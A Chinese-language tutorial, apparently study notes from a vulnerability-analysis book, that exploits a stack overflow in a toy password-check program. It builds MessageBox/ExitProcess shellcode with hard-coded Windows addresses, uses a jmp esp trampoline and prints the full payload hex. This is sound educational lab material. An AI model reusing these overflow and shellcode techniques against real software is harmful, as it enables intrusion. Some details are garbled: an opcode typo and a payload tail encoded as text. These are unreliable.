例子来自《0day安全:软件漏洞分析技术》

栈溢出

程序会读取目录下的 password.txt 然后复制到 buffer 中,然而 buffer 只有 8 字节,password 是 1024 字节的

  1. #include <stdio.h>
  2. #define PASSWORD "1234567"
  3. int verify_password (char *password)
  4. {
  5. int authenticated;
  6. char buffer[8];
  7. authenticated=strcmp(password,PASSWORD);
  8. strcpy(buffer,password);//over flowed here!
  9. return authenticated;
  10. }
  11. main()
  12. {
  13. int valid_flag=0;
  14. char password[1024];
  15. FILE * fp;
  16. if(!(fp=fopen("password.txt","rw+")))
  17. {
  18. exit(0);
  19. }
  20. fscanf(fp,"%s",password);
  21. valid_flag = verify_password(password);
  22. if(valid_flag)
  23. {
  24. printf("incorrect password!\n");
  25. }
  26. else
  27. {
  28. printf("Congratulation! You have passed the verification!\n");
  29. }
  30. fclose(fp);
  31. }

password.txt 内容如下

image.png

提前用 IDA 看到那个 verify_password 函数的地址是 0x401020

image.png

在 OD 中给 verify_password 返回的时候下个断点,这样可以刚好在栈溢出发生之前给断下来

image.png

那,修改 password.txt,把返回地址改成 Congratulation 那个分支的地址的话是可以成功的

image.png

接下来试着用它弹一个窗,要对源码做一下改变以便能够调用 Messagebox 函数,因此导入了 user32.dll

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #define PASSWORD "1234567"
  4. int verify_password (char *password)
  5. {
  6. int authenticated;
  7. char buffer[44];
  8. authenticated=strcmp(password,PASSWORD);
  9. strcpy(buffer,password);//over flowed here!
  10. return authenticated;
  11. }
  12. main()
  13. {
  14. int valid_flag=0;
  15. char password[1024];
  16. FILE * fp;
  17. LoadLibrary("user32.dll");
  18. if(!(fp=fopen("password.txt","rw+")))
  19. {
  20. exit(0);
  21. }
  22. fscanf(fp,"%s",password);
  23. valid_flag = verify_password(password);
  24. if(valid_flag)
  25. {
  26. printf("incorrect password!\n");
  27. }
  28. else
  29. {
  30. printf("Congratulation! You have passed the verification!\n");
  31. }
  32. fclose(fp);
  33. }

使用 Dependency walker 查看一下 user32.dll 的基址 0x77d10000 与 messagebox 的偏移 0x407ea
加起来就是 0x77D507EA

image.png

编写shellcode

找到了地址之后就可以构造 shellcode 了

机器码 汇编指令 注释
33DB XOR EBX,EBX 异或置零
53 PUSH EBX 作为字符串结束的截断符号 0
684841434B PUSH 4B434148 把 ‘HACK’ 字符串进栈
8BC4 MOV EAX,ESP 字符串指针,方便后面 push 进去
53 PUSH EBX 第四个参数 0
50 PUSH EAX 第三个参数 标题
50 PUSH EAX 第二个参数 内容
53 PUSH EBX 第一个参数 0
B8EA07D577 MOV EAX, 77D507EA 把 Messagebox 的函数地址放到 EAX
FFD0 CALL EAX 调用 Messagebox
  1. 33DB53684841434B8BC453505053B8EA07D577FFD0

然后可以填入一堆 90(也就是 NOP)
最后在 ret 的那个地方填入 0012FAF0(也就是栈顶),最终是这样的

image.png

image.png

jmp esp

直接填入栈顶是需要我们自己去找栈顶的地址的,可以用 jmp esp 让他自己跳转到 esp 去执行 shellcode
可以用 https://bbs.pediy.com/thread-65240.htm 这个插件(评论区下载)找到
(OD 插件有上限,如果放进去之后 OD 打不开了可以先拿出几个插件来)

image.png

image.png

先用 0x7FFA4512 试试,,使用 jmp esp 的原理是在 ret 的时候是 pop eip 的,esp 会 +4,指向返回地址下面,所以只要返回地址后面跟着 shellcode 就行了,我们还希望他能够正常的退出,给它加上一个 ExitProcess 函数

用 Dependency walker 去 kernel32(0x7c800000)找一下 ExitProcess(0x00001cafa)得到退出函数地址 0x7C81CAFA

机器码 汇编 注释
53 PUSH BEX exit(0),这个是参数 0
B8FACA817C MOV EAX,0x7C81CAFA 地址放到 eax
FFD0 CALL EAX 调用函数
  1. 909090909090909090909090909090909090909090909090909090909090909090909090909090909099909090909090909090901245FA7F33DB53684841434B8BC453505053B8EA07D577FFD035334238464143413831374346464430